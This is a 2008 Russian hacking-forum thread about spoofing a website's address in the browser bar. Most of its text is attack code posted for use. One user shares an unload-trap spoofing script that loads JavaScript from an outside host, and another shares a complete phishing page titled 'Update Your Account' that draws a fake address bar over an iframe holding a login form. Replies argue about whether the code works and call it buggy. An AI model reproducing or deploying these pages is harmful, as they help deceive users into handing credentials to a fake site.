Подмена адреса сайта

Discussion in 'PHP' started by КИНГ, 8 Jan 2008.

  1. КИНГ

    КИНГ Elder - Старейшина

    Joined:
    13 Jun 2006
    Messages:
    129
    Likes Received:
    25
    Reputations:
    -1
    Ест сайт xxx.ru как сделать, чтобы при заходе на него в адресной строке отображалось yyy.ru?
     
  2. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    hosts или редирект, смотря что тебе надо
     
  3. КИНГ

    КИНГ Elder - Старейшина

    Joined:
    13 Jun 2006
    Messages:
    129
    Likes Received:
    25
    Reputations:
    -1
    всмысле что надо?

    мне нужна подмена адреса
     
  4. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    слышал про такой скрипт, но никогда невидел, мне кажеться это уязвимость какого-нибудь Ie
     
  5. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    WINDOWS\system32\drivers\etc\hosts
     
  6. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    для ИЕ сплоит где-то видел, который подменяет адрес сайта. Даже видео по его использованию смотрел давно ещё...то ли на ачате оно есть то ли на веб-хаке

    а если тебе надо чтобы при наведении на ссылку отображался один сайт, а ссылка вела на другой, то это жаба-скрипт, он есть в полезных скриптах кажется.
     
  7. QuoFX

    QuoFX New Member

    Joined:
    15 Dec 2007
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    ;)

    page.html
    HTML:
    <html><body onunload="entrapment(1)"><script src="attack.js"></script>
    <font face="arial">
    <h1><font color="teal">Произведена спуфинг-атака</font><hr></h1>
    <p>
    
    attack.js
    Code:
    var noentrap = 0;
    
    function entrapment(entcount) {
      if (noentrap) return true;
      entcount++;
      document.open();
      document.write('<html><body onunload="entrapment(' + entcount + ')">' +
                     '<scr' + 'ipt src="http://www.securitylab.ru/_exploits/2007/02/attack.js"></scr' + 'ipt>' +
                     '<font face="arial">' +
                     '<h1><font color="teal">Произведена спуфинг-атака</font><hr></h1><p>');
    
      document.close();
    
    }
    
    ;)
     
  8. diehard

    diehard Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    442
    Likes Received:
    266
    Reputations:
    15
    http://www.securitylab.ru/_exploits/2007/02/attack.js

    404 File Not Found
     
  9. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    582
    Likes Received:
    284
    Reputations:
    51
    Вот скрипт со старого фейка, давным давно работал хорошо :)

    HTML:
    <title>site.com - Update Your Account</title>
    <SCRIPT language=JavaScript1.2>
    top.window.moveTo(0,0);
    
    if (document.all) {
    
    top.window.resizeTo(screen.availWidth,screen.availHeight);
    
    }
    
    else if (document.layers||document.getElementById) {
    
    if (top.window.outerHeight<screen.availHeight||top.window.outerWidth<screen.availWidth){
    
    top.window.outerHeight = screen.availHeight;
    
    top.window.outerWidth = screen.availWidth;
    
    }
    
    }
    
    
    </SCRIPT>
    
    <META http-equiv=Content-Type 
    content="text/html; charset=windows-1252">
    <HTA:APPLICATION id=oHTA 
    WINDOWSTATE="normal" SYSMENU="yes" SINGLEINSTANCE="yes" SHOWINTASKBAR="yes" 
    SELECTION="yes" SCROLLFLAT="yes" SCROLL="no" NAVIGABLE="yes" MINIMIZEBUTTON="no" 
    MAXIMIZEBUTTON="no" INNERBORDER="yes" ICON="yes" CONTEXTMENU="no" CAPTION="yes" 
    BORDERSTYLE="normal" BORDER="thin" APPLICATIONNAME="AmPost" VERSION="1.0" />
    <STYLE>BODY {
    	BORDER-RIGHT: medium none; BORDER-TOP: medium none; FONT-SIZE: 8pt; MARGIN: 0px; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none; FONT-FAMILY: Arial; BACKGROUND-COLOR: buttonface
    }
    TD {
    	FONT-SIZE: 8pt
    }
    .indent {
    	LEFT: auto; TEXT-INDENT: 15pt; WHITE-SPACE: normal; TEXT-ALIGN: left
    }
    .size {
    	WIDTH: 100%
    }
    </STYLE>
    
    <SCRIPT type=text/javascript>
    <!--
    <!--
    var history=new Array(16);
    hpos=0;
    function MM_checkBrowser(NSvers,NSpass,NSnoPass,IEvers,IEpass,IEnoPass,OBpass,URL,altURL) { //v3.0
      var newURL='', verStr=navigator.appVersion, app=navigator.appName, version = parseFloat(verStr);
      if (app.indexOf('Netscape') != -1) {
        if (version >= NSvers) {if (NSpass>0) newURL=(NSpass==1)?URL:altURL;}
        else {if (NSnoPass>0) newURL=(NSnoPass==1)?URL:altURL;}
      } else if (app.indexOf('Microsoft') != -1) {
        if (version >= IEvers || verStr.indexOf(IEvers) != -1)
         {if (IEpass>0) newURL=(IEpass==1)?URL:altURL;}
        else {if (IEnoPass>0) newURL=(IEnoPass==1)?URL:altURL;}
      } else if (OBpass>0) newURL=(OBpass==1)?URL:altURL;
      if (newURL) { window.location=unescape(newURL); document.MM_returnValue=false; }
    }
    
    function forward()
    {
    frames["newFr"].location.href=history[hpos];
    }
    
    function load()
    {
    l=frames["newFr"].location.href;
    if (l.lastIndexOf("?")==(l.length-1)) l=l.substr(0,l.length-1);
    history[hpos]=l;
    hpos++;
    hpos%=16;
    }
    function MM_preloadImages() { //v3.0
      var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
        var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
        if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
    }
    
    function MM_swapImgRestore() { //v3.0
      var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
    }
    
    function MM_findObj(n, d) { //v4.01
      var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
        d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
      if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
      for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
      if(!x && d.getElementById) x=d.getElementById(n); return x;
    }
    
    function MM_swapImage() { //v3.0
      var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
       if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
    }
    function MM_displayStatusMsg(msgStr) { //v1.0
      status=msgStr;
      document.MM_returnValue = true;
    }
    function go()
    {
    a=document.all.newAddr.value;
    if (a.indexOf("http://")!=0) a="http://"+a;
    nav.action=a;
    return true;
    MM_swapImage('Image1','','go1click.gif');
    MM_displayStatusMsg('Done');
    
    }
    // -->
    
    function MM_showHideLayers() { //v3.0
      var i,p,v,obj,args=MM_showHideLayers.arguments;
      for (i=0; i<(args.length-2); i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2];
        if (obj.style) { obj=obj.style; v=(v=='show')?'visible':(v='hide')?'hidden':v; }
        obj.visibility=v; }
    }
    //-->
    </SCRIPT>
    
    <META content="Microsoft FrontPage 5.0" name=GENERATOR></HEAD>
    <BODY onmousedown="MM_showHideLayers('pop','','hide')" 
    onload="MM_preloadImages('pdownclick.gif');MM_checkBrowser(4.0,1,1,4.0,0,0,1,'login-submit.htm','login-submit.htm');return document.MM_returnValue" 
    onunload=;><SPAN class=" indent">
    <TABLE height="100%" cellSpacing=0 cellPadding=0 width="100%">
      <TBODY>
      <TR borderColor=#cccccc>
        <TD>
          <TABLE borderColor=#c0c0c0 cellSpacing=0 cellPadding=0 width="100%" 
          border=0>
            <TBODY>
            <TR>
              <FORM name=nav onsubmit=go(); action=about:blank method=get 
              target=newFr>
              <TD 
              style="PADDING-RIGHT: 1px; PADDING-LEFT: 1px; PADDING-BOTTOM: 1px; PADDING-TOP: 1px" 
              align=right width=3 height=22>
                <P align=left><IMG height=18 src="sline.gif" 
                width=3 align=right border=0></P></TD>
              <TD 
              style="BACKGROUND-POSITION: right 50%; BACKGROUND-IMAGE: url('addr.gif'); BACKGROUND-REPEAT: no-repeat" 
              width=34 height=22>
                <P>&nbsp;</P></TD>
              <TD 
              style="BACKGROUND-POSITION: left 50%; BACKGROUND-IMAGE: url('ress.gif'); BACKGROUND-REPEAT: no-repeat" 
              align=left width="81%" height=22>
              <INPUT class=indent id=newAddr 
                style="BACKGROUND-POSITION: left top; FONT-SIZE: 8pt; BACKGROUND-IMAGE: url('ie2.gif'); WIDTH: 100%; BACKGROUND-REPEAT: no-repeat; HEIGHT: 22px" 
                size=40 value="      http://antichat.ru/" name=no> </TD>
              <TD width=146 BACKGROUND-IMAGE: url('addr.gif'); BACKGROUND-REPEAT: no-repeat" height=22><A 
                onmousedown="MM_swapImage('Image2','','pdownclick.gif',1)" 
                style="CURSOR: default" onmouseout=MM_swapImgRestore() 
                href="login-submit.htm#"><IMG 
                onclick="MM_showHideLayers('pop','','show')" height=21 
                src="pdown.gif" width=17 border=0 
                name=Image2></A><A 
                onmousedown="MM_swapImage('Image1','','go1click.gif',1);MM_displayStatusMsg('Done');return document.MM_returnValue" 
                onmouseover="MM_swapImage('Image1','','go1roll.gif',1);MM_displayStatusMsg('Done');return document.MM_returnValue" 
                onmouseout=MM_swapImgRestore() href="file:///E:/"><INPUT id=Image1 
                style="CURSOR: default" onclick=go() type=image height=22 width=49 
                src="go1.gif" border=0 name=image1> 
              </A></TD></FORM></TR>
            <TR>
              <TD width=798 bgColor=#000000 colSpan=4><IMG height=1 
                src="hide.htm" width=1 border=0></TD></TR>
            <TR>
              <TD width=798 bgColor=#ffffff colSpan=4><IMG height=1 
                src="hide.htm" width=1 
          border=0></TD></TR></TBODY></TABLE>
          <DIV id=pop 
          style="BORDER-RIGHT: #000000 1px; BORDER-TOP: #000000 1px; Z-INDEX: 1; LEFT: 53px; VISIBILITY: hidden; BORDER-LEFT: #000000 1px; WIDTH: 81%; BORDER-BOTTOM: #000000 1px; POSITION: absolute; HEIGHT: 50px; BACKGROUND-COLOR: #999999; layer-background-color: #999999"><TEXTAREA class=size name=textfield rows=5 wrap=VIRTUAL cols=77></TEXTAREA> 
          </DIV></TD></TR>
      <TR height="100%">
        <TD vAlign=top><IFRAME id=newFr style="WIDTH: 100%; HEIGHT: 100%" 
          name=newFr src="login-submit.htm" onload=load() 
          application="no"> </IFRAME></TD></TR></TBODY></TABLE></SPAN></BODY></HTML>
    
    script+images
     
  10. Conquerstador

    Conquerstador Banned

    Joined:
    7 Jul 2007
    Messages:
    124
    Likes Received:
    39
    Reputations:
    -6
    а как его впихивать??? мне что-то не доехало... обьясните если не трудно
     
  11. LordsTN

    LordsTN New Member

    Joined:
    19 Jan 2007
    Messages:
    23
    Likes Received:
    3
    Reputations:
    0
    Тут все на Js, впихиваешь на ту страницу, при заходе на которой и скрыв. реаль. урл.
     
  12. QuoFX

    QuoFX New Member

    Joined:
    15 Dec 2007
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    там урл замени на локальный. я когда себе эксплоит сливал, забыл сменить.
     
  13. diehard

    diehard Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    442
    Likes Received:
    266
    Reputations:
    15
    aka PSIH

    Идея отличная :))), жаль только жабоскрипт бажный.
     
  14. Doc77

    Doc77 New Member

    Joined:
    9 Jan 2008
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    а что такое Js ??? поподробне нельзя , мы учимся токо!
     
  15. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    Да не скрывает она не хрена урл....этот скрипт просто дописывает как бы адресную строку
    [​IMG]
    плюс ко всему ИЕ блокирует это как загрузку активного содержимого...а чтоб на самом деле подменить адрес сайта как я уже писал есть сплоит для ИЕ и то если не ошибаюсь для 4-й версии.
    Поэтому то что выложили это фигня на самом деле, развод для ламеров :)
     
  16. Soviet[HZ]

    Soviet[HZ] Elder - Старейшина

    Joined:
    20 Jul 2007
    Messages:
    87
    Likes Received:
    40
    Reputations:
    22
    Ещё где то тут пример видел с использованием onMouseover при XSS.
     
  17. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    582
    Likes Received:
    284
    Reputations:
    51
    .:EnoT:.
    на страрых браузерах работало хорошо, да я и сразу написал:
    p.s: ТС не написал под какой браузер ему нужно (версию)
     
    #17 aka PSIH, 9 Jan 2008
    Last edited: 9 Jan 2008
    1 person likes this.
  18. -=Dem0n=-

    -=Dem0n=- Elder - Старейшина

    Joined:
    15 Mar 2007
    Messages:
    66
    Likes Received:
    5
    Reputations:
    0
    Так что рабочего скрипта или сплойта нету под лису или ИЕ 6 или 7?
     
  19. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    Бредовое предложение:
    На сайте ууу.ру сделать айфрейм в котором будет отображатся сайт ааа.ру
    Но это поможет если есть доступ к ууу.ру
     
  20. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    gold-goblin, только это никому не нужно.